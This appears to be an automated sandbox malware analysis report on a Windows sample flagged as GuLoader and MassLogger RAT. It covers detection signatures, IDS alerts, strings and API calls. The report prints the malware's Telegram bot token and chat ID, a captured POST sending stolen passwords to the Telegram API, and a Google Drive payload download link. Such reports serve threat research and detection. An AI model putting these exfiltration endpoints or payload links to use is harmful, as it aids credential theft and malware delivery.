Edit tour

Windows Analysis Report
6mGpn6kupm.exe

Overview

General Information

Sample name:	6mGpn6kupm.exe renamed because original name is a hash value
Original sample name:	2c399d3af3092bf9b9d0ed6c4b7bef3ac082cf09d9947adc9df12d11a6fea3d1.exe
Analysis ID:	1588140
MD5:	89bb4eeab81b80681733b2d7df68289b
SHA1:	655666fc351362a9aa37758163d3e3e63c6400b8
SHA256:	2c399d3af3092bf9b9d0ed6c4b7bef3ac082cf09d9947adc9df12d11a6fea3d1
Tags:	exeuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

6mGpn6kupm.exe (PID: 8108 cmdline: "C:\Users\user\Desktop\6mGpn6kupm.exe" MD5: 89BB4EEAB81B80681733B2D7DF68289B)

6mGpn6kupm.exe (PID: 3144 cmdline: "C:\Users\user\Desktop\6mGpn6kupm.exe" MD5: 89BB4EEAB81B80681733B2D7DF68289B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1714407995.00000000051B6000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: 6mGpn6kupm.exe PID: 3144	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: 6mGpn6kupm.exe PID: 3144	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6mGpn6kupm.exe PID: 3144	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:49:45.583894+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49978	149.154.167.220	443	TCP
2025-01-10T21:49:47.504281+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49980	149.154.167.220	443	TCP
2025-01-10T21:49:49.126072+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49982	149.154.167.220	443	TCP
2025-01-10T21:49:51.017539+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49984	149.154.167.220	443	TCP
2025-01-10T21:49:52.723364+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49986	149.154.167.220	443	TCP
2025-01-10T21:49:54.401898+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49988	149.154.167.220	443	TCP
2025-01-10T21:49:56.022154+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49990	149.154.167.220	443	TCP
2025-01-10T21:49:57.593488+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49992	149.154.167.220	443	TCP
2025-01-10T21:49:59.164526+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49994	149.154.167.220	443	TCP
2025-01-10T21:50:00.773884+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49996	149.154.167.220	443	TCP
2025-01-10T21:50:23.904209+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49999	149.154.167.220	443	TCP
2025-01-10T21:50:25.644407+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50001	149.154.167.220	443	TCP
2025-01-10T21:50:27.239542+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50003	149.154.167.220	443	TCP
2025-01-10T21:50:29.916493+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50005	149.154.167.220	443	TCP
2025-01-10T21:50:32.235747+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50007	149.154.167.220	443	TCP
2025-01-10T21:50:33.809983+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50009	149.154.167.220	443	TCP
2025-01-10T21:50:35.549505+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50011	149.154.167.220	443	TCP
2025-01-10T21:50:37.282340+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50013	149.154.167.220	443	TCP
2025-01-10T21:50:40.200667+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50015	149.154.167.220	443	TCP
2025-01-10T21:50:42.811954+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50017	149.154.167.220	443	TCP
2025-01-10T21:50:45.461534+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50019	149.154.167.220	443	TCP
2025-01-10T21:50:47.189904+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50021	149.154.167.220	443	TCP
2025-01-10T21:50:52.291513+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	50023	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:49:37.908297+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49975	132.226.247.73	80	TCP
2025-01-10T21:49:44.690986+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49975	132.226.247.73	80	TCP
2025-01-10T21:49:46.517683+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49979	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:49:32.717084+0100	2803270	2	Potentially Bad Traffic	192.168.2.10	49967	172.217.23.110	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:49:45.319627+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49978	149.154.167.220	443	TCP
2025-01-10T21:49:47.108780+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49980	149.154.167.220	443	TCP
2025-01-10T21:49:48.854869+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49982	149.154.167.220	443	TCP
2025-01-10T21:49:50.551607+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49984	149.154.167.220	443	TCP
2025-01-10T21:49:52.416148+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49986	149.154.167.220	443	TCP
2025-01-10T21:49:54.043834+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49988	149.154.167.220	443	TCP
2025-01-10T21:49:55.721209+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49990	149.154.167.220	443	TCP
2025-01-10T21:49:57.350231+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49992	149.154.167.220	443	TCP
2025-01-10T21:49:58.898541+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49994	149.154.167.220	443	TCP
2025-01-10T21:50:00.483307+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49996	149.154.167.220	443	TCP
2025-01-10T21:50:23.662910+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49999	149.154.167.220	443	TCP
2025-01-10T21:50:25.387924+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50001	149.154.167.220	443	TCP
2025-01-10T21:50:27.025192+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50003	149.154.167.220	443	TCP
2025-01-10T21:50:29.610258+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50005	149.154.167.220	443	TCP
2025-01-10T21:50:31.969968+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50007	149.154.167.220	443	TCP
2025-01-10T21:50:33.552667+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50009	149.154.167.220	443	TCP
2025-01-10T21:50:35.133589+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50011	149.154.167.220	443	TCP
2025-01-10T21:50:36.904548+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50013	149.154.167.220	443	TCP
2025-01-10T21:50:39.716360+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50015	149.154.167.220	443	TCP
2025-01-10T21:50:42.534654+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50017	149.154.167.220	443	TCP
2025-01-10T21:50:45.147729+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50019	149.154.167.220	443	TCP
2025-01-10T21:50:46.798816+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50021	149.154.167.220	443	TCP
2025-01-10T21:50:51.767666+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	50023	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318e66da22f5Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DD4000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034D61000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2571016125.0000000037601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 6mGpn6kupm.exe, 00000005.00000002.2571016125.0000000037601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/hC
Source: 6mGpn6kupm.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000351E8000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.00000000350F1000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034FCB000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034F7A000.00000004.00000800.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000035181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065
Source: 6mGpn6kupm.exe, 00000005.00000003.1781945839.00000000047E4000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.0000000004737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.0000000004737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/h
Source: 6mGpn6kupm.exe, 00000005.00000002.2541819780.0000000006240000.00000004.00001000.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000002.2541418618.0000000004773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.0000000004773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCUU
Source: 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=download
Source: 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=downloadK
Source: 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=downloadY
Source: 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=downloadpe
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.000000000478E000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=downloady
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.000000000478E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=downloadz
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.000000000478E000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/~
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 6mGpn6kupm.exe, 00000005.00000002.2568386799.0000000034DDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 6mGpn6kupm.exe, 00000005.00000003.1781945839.00000000047E4000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comO
Source: 6mGpn6kupm.exe, 00000005.00000003.1781945839.00000000047E4000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1818339391.000000000479D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comOO
Source: 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: 6mGpn6kupm.exe, 00000005.00000003.1781869724.00000000047A6000.00000004.00000020.00020000.00000000.sdmp, 6mGpn6kupm.exe, 00000005.00000003.1781986956.00000000047A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.10:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.10:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49984 version: TLS 1.2

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_701C1B5F	0_2_701C1B5F
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_3_0019505D	5_3_0019505D
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00404DCC	5_2_00404DCC
